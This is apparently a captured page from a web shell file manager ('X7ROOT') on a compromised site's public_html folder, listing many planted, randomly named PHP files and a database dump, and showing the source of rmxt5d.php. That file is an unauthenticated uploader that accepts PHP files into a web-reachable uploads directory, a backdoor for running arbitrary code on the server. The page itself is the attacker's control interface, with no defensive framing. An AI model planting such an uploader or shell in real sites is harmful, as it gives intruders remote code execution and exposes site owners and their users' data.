X7ROOT File Manager
Current Path:
/home/bmglobalcareers/public_html
home
/
bmglobalcareers
/
public_html
/
📁
..
📄
.htaccess
(243 B)
📄
7e8fcfa2f51affa33b3fa699f35ec4ad.html
(51 B)
📁
Emails
📁
_errorpages
📄
about.php
(4.23 KB)
📄
admin.php
(4.23 KB)
📄
appointment.php
(26.94 KB)
📄
appointment_old.php
(29.26 KB)
📄
bmglobalcareers_bm.sql
(859.73 KB)
📁
check
📁
commentsos
📄
contact.php
(2.72 KB)
📄
contact_mail.php
(18.97 KB)
📁
css
📄
education_loan.php
(12.32 KB)
📄
filters.php
(824 B)
📁
fonts
📄
footer.php
(9.94 KB)
📁
gfherhfghre
📄
header.php
(10.44 KB)
📁
images
📄
index.html
(181 B)
📄
index.php
(15.17 KB)
📄
join_our_community.php
(8.37 KB)
📁
js
📁
ktgadmin
📄
l0ldae.php
(3.89 KB)
📁
net
📄
ob.php
(0 B)
📄
p0nj7l.php
(3.89 KB)
📄
process.php
(2.96 KB)
📄
rmxt5d.php
(1.4 KB)
📄
robots.txt
(978 B)
📄
route_map.php
(5.68 KB)
📄
services.php
(2.61 KB)
📄
test.html
(1.37 KB)
📄
test_mail.php
(824 B)
📁
uploads
📄
utchihaWSo_wEq2w.php
(0 B)
📄
utchiha_1ldSxK1Y.php
(8 KB)
📄
utchiha_3ovmPINW.txt
(9 B)
📄
utchiha_8JYmBVa0.php
(0 B)
📄
utchiha_9AwhI32Q.php
(0 B)
📄
utchiha_DmF3lPsM.php
(8 KB)
📄
utchiha_EDirtMq6.php
(8 KB)
📄
utchiha_HGax88RT.txt
(10 B)
📄
utchiha_Js0AkoBP.php
(8 KB)
📄
utchiha_MZpQ5gcI.php
(0 B)
📄
utchiha_RW54Vwo0.php
(0 B)
📄
utchiha_ZXckxdr2.php
(0 B)
📄
utchiha_gGs7o5Gx.php
(0 B)
📄
utchiha_hhjIolpM.php
(8 KB)
📄
utchiha_wfJINYGr.php
(214.79 KB)
📄
utchiha_z5d2rSoQ.php
(0 B)
📁
vendors
📄
videos.php
(7.56 KB)
Editing: rmxt5d.php
<?php // Set upload directory $uploadDir = __DIR__ . '/uploads/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true); } // Check if form was submitted if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { $file = $_FILES['file']; $fileName = basename($file['name']); $targetFile = $uploadDir . $fileName; $fileType = pathinfo($targetFile, PATHINFO_EXTENSION); // Allowed file types $allowedTypes = ['jpg', 'png', 'gif', 'pdf', 'zip', 'txt', 'php']; if (!in_array(strtolower($fileType), $allowedTypes)) { die("Error: File type not allowed."); } // Check for errors if ($file['error'] !== 0) { die("Error: File upload failed."); } // Move file to upload directory if (move_uploaded_file($file['tmp_name'], $targetFile)) { echo "File uploaded successfully: <a href='uploads/$fileName'>$fileName</a>"; } else { echo "Error: Unable to upload file."; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>PHP File Uploader</title> </head> <body> <h2>Upload a File</h2> <form action="" method="post" enctype="multipart/form-data"> <input type="file" name="file" required> <button type="submit">Upload</button> </form> </body> </html>
Upload File
Create Folder